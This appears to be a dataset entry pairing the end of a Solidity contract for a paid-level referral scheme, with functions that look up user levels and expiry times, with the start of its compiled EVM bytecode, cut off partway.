} else if (getUserLevelExpiresAt(_user, 5) < now) {
return (4);
} else if (getUserLevelExpiresAt(_user, 6) < now) {
return (5);
} else if (getUserLevelExpiresAt(_user, 7) < now) {
return (6);
} else if (getUserLevelExpiresAt(_user, 8) < now) {
return (7);
} else if (getUserLevelExpiresAt(_user, 9) < now) {
return (8);
} else if (getUserLevelExpiresAt(_user, 10) < now) {
return (9);
}
}
function getUserDetails(address _user)
public
view
returns (uint256, uint256)
{
if (getUserLevelExpiresAt(_user, 1) < now) {
return (1, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 2) < now) {
return (2, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 3) < now) {
return (3, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 4) < now) {
return (4, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 5) < now) {
return (5, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 6) < now) {
return (6, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 7) < now) {
return (7, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 8) < now) {
return (8, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 9) < now) {
return (9, users[_user].id);
}
}
receive() external payable {
revert();
}
}
|
0x6080604052600436106101e75760003560e01c80639877aa7f11610102578063d0a5313611610095578063df9a838811610064578063df9a838814610fc7578063e69c01711461106d578063eb75f123146110bc578063f6838a7214611121576101f1565b8063d0a5313614610e01578063d1a3f1b414610ea7578063d4a35c6214610ef6578063dade39c914610f9c576101f1565b8063c570388a116100d1578063c570388a14610c1a578063cadecd6914610cab578063cc3d967b14610cfa578063cf40ae2814610d66576101f1565b80639877aa7f14610a13578063a87430ba14610ab9578063aad049b314610b25578063ae78c8f514610b74576101f1565b80634015ba811161017a578063644661811161014957806364466181146107bc57806379d3e0cc146108625780637f5a17e01461090857806397dc67651461096d576101f1565b80634015ba8114610586578063502c9bd51461062c57806352e70b35146106a7578063575cea6b14610716576101f1565b80632ff8430f116101b65780632ff8430f146103865780633539cd06146103d557806339c301531461047b5780633e09c211146104e0576101f1565b806302d05d3f146101f65780631bbfae0e1461024d57806321923bde1461027b5780632ca6a9c4146102e0576101f1565b366101f157600080fd5b600080fd5b34801561020257600080fd5b5061020b61114f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102796004803603602081101561026357600080fd5b8101908080359060200190929190505050611174565b005b34801561028757600080fd5b506102ca6004803603602081101561029e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611749565b6040518082815260200191505060405180910390f35b3480156102ec57600080fd5b5061032f6004803603602081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061185f565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610372578082015181840152602081019050610357565b505050509050019250505060405180910390f35b34801561039257600080fd5b506103bf600480360360208110156103a957600080fd5b81019080803590602001909291905050506118f9565b6040518082815260200191505060405180910390f35b3480156103e157600080fd5b50610424600480360360208110156103f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611911565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561046757808201518184015260208101905061044c565b505050509050019250505060405180910390f35b34801561048757600080fd5b506104ca6004803603602081101561049e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ab565b6040518082815260200191505060405180910390f35b3480156104ec57600080fd5b5061052f6004803603602081101561050357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c9565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610572578082015181840152602081019050610557565b505050509050019250505060405180910390f35b34801561059257600080fd5b506105d5600480360360208110156105a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a99565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106185780820151818401526020810190506105fd565b505050509050019250505060405180910390f35b34801561063857600080fd5b506106656004803603602081101561064f57600080fd5b8101908080359060200190929190505050611b69565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106b357600080fd5b50610700600480360360408110156106ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b9c565b6040518082815260200191505060405180910390f35b34801561072257600080fd5b506107656004803603602081101561073957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bfa565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107a857808201518184015260208101905061078d565b505050509050019250505060405180910390f35b3480156107c857600080fd5b5061080b600480360360208110156107df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cca565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561084e578082015181840152602081019050610833565b505050509050019250505060405180910390f35b34801561086e57600080fd5b506108b16004803603602081101561088557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d64565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156108f45780820151818401526020810190506108d9565b505050509050019250505060405180910390f35b34801561091457600080fd5b506109576004803603602081101561092b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dfe565b6040518082815260200191505060405180910390f35b34801561097957600080fd5b506109bc6004803603602081101561099057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e1c565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156109ff5780820151818401526020810190506109e4565b505050509050019250505060405180910390f35b348015610a1f57600080fd5b50610a6260048036036020811015610a3657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611eb6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610aa5578082015181840152602081019050610a8a565b505050509050019250505060405180910390f35b348015610ac557600080fd5b50610b0860048036036020811015610adc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f50565b604051808381526020018281526020019250505060405180910390f35b348015610b3157600080fd5b50610b5e60048036036020811015610b4857600080fd5b8101908080359060200190929190505050611f74565b6040518082815260200191505060405180910390f35b348015610b8057600080fd5b50610bc360048036036020811015610b9757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f8c565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610c06578082015181840152602081019050610beb565b505050509050019250505060405180910390f35b348015610c2657600080fd5b50610c6960048036036020811015610c3d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612026565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610cb757600080fd5b50610ce460048036036020811015610cce57600080fd5b8101908080359060200190929190505050612504565b6040518082815260200191505060405180910390f35b348015610d0657600080fd5b50610d4960048036036020811015610d1d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061251c565b604051808381526020018281526020019250505060405180910390f35b348015610d7257600080fd5b50610dbf60048036036040811015610d8957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061289f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e0d57600080fd5b50610e5060048036036020811015610e2457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a2a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610e93578082015181840152602081019050610e78565b505050509050019250505060405180910390f35b348015610eb357600080fd5b50610ee060048036036020811015610eca57600080fd5b8101908080359060200190929190505050612ac4565b6040518082815260200191505060405180910390f35b348015610f0257600080fd5b50610f4560048036036020811015610f1957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ae4565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610f88578082015181840152602081019050610f6d565b505050509050019250505060405180910390f35b348015610fa857600080fd5b50610fb1612b7e565b6040518082815260200191505060405180910390f35b348015610fd357600080fd5b5061101660048036036020811015610fea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b84565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561105957808201518184015260208101905061103e565b505050509050019250505060405180910390f35b34801561107957600080fd5b506110a66004803603602081101561109057600080fd5b8101908080359060200190929190505050612c54565b6040518082815260200191505060405180910390f35b3480156110c857600080fd5b5061110b600480360360208110156110df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c6c565b6040518082815260200191505060405180910390f35b61114d6004803603602081101561113757600080fd5b8101908080359060200190929190505050612c8a565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541461122c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5573657220697320616c7265616479207265676973746572656400000000000081525060200191505060405180910390fd5b8060008111801561123f57506007548111155b6112b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f496e76616c69642072656665727265722049440000000000000000000000000081525060200191505060405180910390fd5b6001600a600082815260200190815260200160002054341461133b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f496e76616c6964206c6576656c20616d6f756e742073656e740000000000000081525060200191505060405180910390fd5b600060019050600254600560006006600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805490501061144357600560006114026006600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612026565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015493505b60076000815480929190600101919050555060405180606001604052806007548152602001858152602001600060405190808252806020026020018201604052801561149e5781602001602082028036833780820191505090505b50815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000155602082015181600101556040820151816002019080519060200190611511929190614461565b509050503360066000600754815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061157281612ac4565b4201600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600083815260200190815260200160002081905550600560006006600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506116ab8133613032565b6006600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fefffd168f9bcad9af2b2c24e22e39380303bafa6b19dc2438263c57dfdc0b28c426040518082815260200191505060405180910390a350505050565b600042611757836001611b9c565b1015611766576000905061185a565b42611772836002611b9c565b1015611781576001905061185a565b4261178d836003611b9c565b101561179c576002905061185a565b426117a8836004611b9c565b10156117b7576003905061185a565b426117c3836005611b9c565b10156117d2576004905061185a565b426117de836006611b9c565b10156117ed576005905061185a565b426117f9836007611b9c565b1015611808576006905061185a565b42611814836008611b9c565b1015611823576007905061185a565b4261182f836009611b9c565b101561183e576008905061185a565b4261184a83600a611b9c565b1015611859576009905061185a565b5b919050565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005018054806020026020016040519081016040528092919081815260200182805480156118ed57602002820191906000526020600020905b8154815260200190600101908083116118d9575b50505050509050919050565b60096020528060005260406000206000915090505481565b6060600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030180548060200260200160405190810160405280929190818152602001828054801561199f57602002820191906000526020600020905b81548152602001906001019080831161198b575b50505050509050919050565b600e6020528060005260406000206000915090508060000154905081565b6060600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015611a8d57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611a43575b50505050509050919050565b6060600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015611b5d57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611b13575b50505050509050919050565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600083815260200190815260200160002054905092915050565b6060600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015611cbe57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611c74575b50505050509050919050565b6060600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805480602002602001604051908101604052809291908181526020018280548015611d5857602002820191906000526020600020905b815481526020019060010190808311611d44575b50505050509050919050565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401805480602002602001604051908101604052809291908181526020018280548015611df257602002820191906000526020600020905b815481526020019060010190808311611dde575b50505050509050919050565b600d6020528060005260406000206000915090508060000154905081565b6060600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805480602002602001604051908101604052809291908181526020018280548015611eaa57602002820191906000526020600020905b815481526020019060010190808311611e96575b50505050509050919050565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301805480602002602001604051908101604052809291908181526020018280548015611f4457602002820191906000526020600020905b815481526020019060010190808311611f30575b50505050509050919050565b60056020528060005260406000206000915090508060000154908060010154905082565b600a6020528060005260406000206000915090505481565b6060600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040180548060200260200160405190810160405280929190818152602001828054801561201a57602002820191906000526020600020905b815481526020019060010190808311612006575b50505050509050919050565b6000600254600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020180549050101561207f578190506124ff565b6120876144eb565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000815481106120d557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816000610660811061210e57fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160018154811061219357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600161066081106121cc57fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600080600090505b613ffe81101561245557600254600560008584610660811061222957fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020180549050101561228e578281610660811061228257fe5b60200201519150612455565b611fff811061229c57612448565b60056000848361066081106122ad57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000815481106122fb57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168360026001840102610660811061233957fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008483610660811061238157fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016001815481106123cf57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168360016002600185010201610660811061241057fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b808060010191505061220b565b50600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156124f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f5265666572726572206e6f7420666f756e64000000000000000000000000000081525060200191505060405180910390fd5b80925050505b919050565b60086020528060005260406000206000915090505481565b6000804261252b846001611b9c565b1015612582576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b4261258e846002611b9c565b10156125e5576002600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b426125f1846003611b9c565b1015612648576003600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b42612654846004611b9c565b10156126ab576004600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b426126b7846005611b9c565b101561270d5760058060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b42612719846006611b9c565b1015612770576006600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b4261277c846007611b9c565b10156127d3576007600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b426127df846008611b9c565b1015612836576008600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b42612842846009611b9c565b1015612899576009600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b5b915091565b600080821115806128dc5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156128e957829050612a24565b3073ffffffffffffffffffffffffffffffffffffffff1663cf40ae2860066000600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600185036040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b1580156129e657600080fd5b505afa1580156129fa573d6000803e3d6000fd5b505050506040513d6020811015612a1057600080fd5b810190808051906020019092919050505090505b92915050565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805480602002602001604051908101604052809291908181526020018280548015612ab857602002820191906000526020600020905b815481526020019060010190808311612aa4575b50505050509050919050565b60006005821015612ad9576003549050612adf565b60045490505b919050565b6060600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301805480602002602001604051908101604052809291908181526020018280548015612b7257602002820191906000526020600020905b815481526020019060010190808311612b5e575b50505050509050919050565b60075481565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015612c4857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612bfe575b50505050509050919050565b600b6020528060005260406000206000915090505481565b600c6020528060005260406000206000915090508060000154905081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541415612d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f5573657220646f6573206e6f742065786973740000000000000000000000000081525060200191505060405180910390fd5b80600081118015612d5657506001548111155b612dc8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f496e76616c6964206c6576656c20656e7465726564000000000000000000000081525060200191505060405180910390fd5b81600a6000828152602001908152602001600020543414612e51576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f496e76616c6964206c6576656c20616d6f756e742073656e740000000000000081525060200191505060405180910390fd5b60006001840390505b6000811115612ef05742612e6e3383611b9c565b1015612ee2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4275792070726576696f7573206c6576656c206669727374000000000000000081525060200191505060405180910390fd5b808060019003915050612e5a565b506000612efd3385611b9c565b1415612f6a57612f0c83612ac4565b4201600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600085815260200190815260200160002081905550612fd4565b612f7383612ac4565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000858152602001908152602001600020600082825401925050819055505b612fde8333613032565b823373ffffffffffffffffffffffffffffffffffffffff167faa9c5ea0815809ae6234afa73aef7d42ef76537c06d6ce8f00f38c9c4dd94c97426040518082815260200191505060405180910390a3505050565b60008290506000613043838361289f565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561309f576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b6000600b600086815260200190815260200160002054905060008090506000803490506000600190505b848111613cab576130da888261289f565b9550831561344557600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201869080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600b60008b815260200190815260200160002054600960008c815260200190815260200160002054600860008d8152602001908152602001600020543403038161334157fe5b049080600181540180825580915050600190039060005260206000200160009091909190915055600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016133b387611749565b908060018154018082558091505060019003906000526020600020016000909190919091505560009350883373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f41daddfd368d96253845e0cdc137e41d708bf217e034d8a5265fa3b14ff8bb2160006040518082815260200191505060405180910390a45b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156134e857506000600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008b81526020019081526020016000205414806134e75750426134e5878b611b9c565b105b5b1561350157600193508480600101955050859250613c9e565b60009350600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561355f576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8573ffffffffffffffffffffffffffffffffffffffff166108fc600b60008c815260200190815260200160002054600960008d815260200190815260200160002054600860008e815260200190815260200160002054340303816135bf57fe5b049081150290604051600060405180830381858888f1935050505015613c9d57600b60008a815260200190815260200160002054600960008b815260200190815260200160002054600860008c8152602001908152602001600020543403038161362557fe5b0482039150600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600b60008b815260200190815260200160002054600960008c815260200190815260200160002054600860008d815260200190815260200160002054600a60008e81526020019081526020016000205403038161389c57fe5b049080600181540180825580915050600190039060005260206000200160009091909190915055600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201869080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600b60008b815260200190815260200160002054600960008c815260200190815260200160002054600860008d815260200190815260200160002054600a60008e815260200190815260200160002054030381613b3557fe5b049080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401613ba787611749565b9080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501819080600181540180825580915050600190039060005260206000200160009091909190915055883373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f7630b7dd8ad8bdf6478cf39a9cedd305bc3e7505c84289b12c4045de3cf05db7426040518082815260200191505060405180910390a45b5b80806001019150506130c9565b50600060066000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166108fc600960008c8152602001908152602001600020549081150290604051600060405180830381858888f193505050501561437357600960008a81526020019081526020016000205482039150600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600960008b8152602001908152602001600020549080600181540180825580915050600190039060005260206000200160009091909190915055600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001